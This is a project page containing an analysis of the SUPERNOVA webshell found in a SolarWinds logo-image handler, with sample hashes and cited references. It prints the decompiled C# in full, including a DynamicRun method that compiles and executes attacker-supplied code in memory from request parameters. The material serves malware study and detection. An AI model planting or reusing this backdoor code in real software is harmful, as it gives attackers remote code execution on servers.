项目作者: SecuProject

项目描述 :
高级语言: C#
项目地址: git://github.com/SecuProject/SuperNova.git
创建时间: 2021-01-01T21:47:58Z
项目社区:https://github.com/SecuProject/SuperNova

开源协议:GNU General Public License v3.0

下载


Supernova Analysis

Sample HASH

  1. MD5 56ceb6d0011d87b6e4d7023d7ef85676
  2. SHA-1 75af292f34789a1c782ea36c7127bf6106f595e8
  3. SHA-256 c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71

Analysis

The webshell is only 92 lines and as two methods:

  • ProcessRequest
  • DynamicRun

ProcessRequest

HTTP Query String Params:

  • clazz
  • method
  • args
  • codes
  1. string str2;
  2. if(buffer.Length < 2 || buffer[0] != byte.MaxValue || buffer[1] != (byte) 216){
  3. if(buffer.Length < 3 || buffer != "GIF"){
  4. if(buffer.Length < 8 || buffer[0] != (byte) 137 || (buffer[1] != 'P' || buffer[2] != 'N') || (buffer[3] != 'G' || buffer[4] != (byte) 13 || (buffer[5] != (byte) 10 || buffer[6] != (byte) 26)) || buffer[7] != (byte) 10)
  5. str2 = "image/jpeg";
  6. else
  7. str2 = "image/png";
  8. }else
  9. str2 = "image/gif";
  10. }else
  11. str2 = "image/jpeg";
  1. public void ProcessRequest(HttpContext context)
  2. {
  3. try
  4. {
  5. string codes = context.Request["codes"];
  6. string clazz = context.Request["clazz"];
  7. string method = context.Request["method"];
  8. string[] args = context.Request["args"].Split('\n');
  9. context.Response.ContentType = "text/plain";
  10. context.Response.Write(this.DynamicRun(codes, clazz, method, args));
  11. }
  12. catch (Exception ex)
  13. {
  14. }
  15. NameValueCollection queryString = HttpUtility.ParseQueryString(context.Request.Url.Query);
  16. try
  17. {
  18. string str1 = queryString["id"];
  19. string s;
  20. if (!(str1 == "SitelogoImage"))
  21. {
  22. if (!(str1 == "SiteNoclogoImage"))
  23. throw new ArgumentOutOfRangeException(queryString["id"]);
  24. s = WebSettingsDAL.get_NewNOCSiteLogo();
  25. }
  26. else
  27. s = WebSettingsDAL.get_NewSiteLogo();
  28. byte[] buffer = Convert.FromBase64String(s);
  29. if ((buffer == null || buffer.Length == 0) && File.Exists(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif")))
  30. buffer = File.ReadAllBytes(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif"));
  31. string str2 = buffer.Length < 2 || buffer[0] != byte.MaxValue || buffer[1] != (byte) 216 ? (buffer.Length < 3 || buffer[0] != (byte) 71 || (buffer[1] != (byte) 73 || buffer[2] != (byte) 70) ? (buffer.Length < 8 || buffer[0] != (byte) 137 || (buffer[1] != (byte) 80 || buffer[2] != (byte) 78) || (buffer[3] != (byte) 71 || buffer[4] != (byte) 13 || (buffer[5] != (byte) 10 || buffer[6] != (byte) 26)) || buffer[7] != (byte) 10 ? "image/jpeg" : "image/png") : "image/gif") : "image/jpeg";
  32. context.Response.OutputStream.Write(buffer, 0, buffer.Length);
  33. context.Response.ContentType = str2;
  34. context.Response.Cache.SetCacheability(HttpCacheability.Private);
  35. context.Response.StatusDescription = "OK";
  36. context.Response.StatusCode = 200;
  37. return;
  38. }
  39. catch (Exception ex)
  40. {
  41. LogoImageHandler._log.Error((object) "Unexpected error trying to provide logo image for the page.", ex);
  42. }
  43. context.Response.Cache.SetCacheability(HttpCacheability.NoCache);
  44. context.Response.StatusDescription = "NO IMAGE";
  45. context.Response.StatusCode = 500;
  46. }

DynamicRun

This function will recv a C# code that will but compile and the run in the memory.

  1. public string DynamicRun(string codes, string clazz, string method, string[] args)
  2. {
  3. ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
  4. CompilerParameters options = new CompilerParameters();
  5. options.ReferencedAssemblies.Add("System.dll");
  6. options.ReferencedAssemblies.Add("System.ServiceModel.dll");
  7. options.ReferencedAssemblies.Add("System.Data.dll");
  8. options.ReferencedAssemblies.Add("System.Runtime.dll");
  9. options.GenerateExecutable = false;
  10. options.GenerateInMemory = true;
  11. string source = codes;
  12. CompilerResults compilerResults = compiler.CompileAssemblyFromSource(options, source);
  13. if (compilerResults.Errors.HasErrors)
  14. {
  15. string.Join(Environment.NewLine, compilerResults.Errors.Cast<CompilerError>().Select<CompilerError, string>((Func<CompilerError, string>) (err => err.ErrorText)));
  16. Console.WriteLine("error");
  17. return compilerResults.Errors.ToString();
  18. }
  19. object instance = compilerResults.CompiledAssembly.CreateInstance(clazz);
  20. return (string) instance.GetType().GetMethod(method).Invoke(instance, (object[]) args);
  21. }

Source

  1. https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/
  2. https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/
  3. https://unit42.paloaltonetworks.com/solarstorm-supernova/
  4. https://www.virustotal.com/gui/file/c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71/community
  5. https://app.any.run/tasks/40a1bf55-7b07-467f-8fbd-3442c62fb096/#
  6. https://www.joesandbox.com/analysis/333400/0/html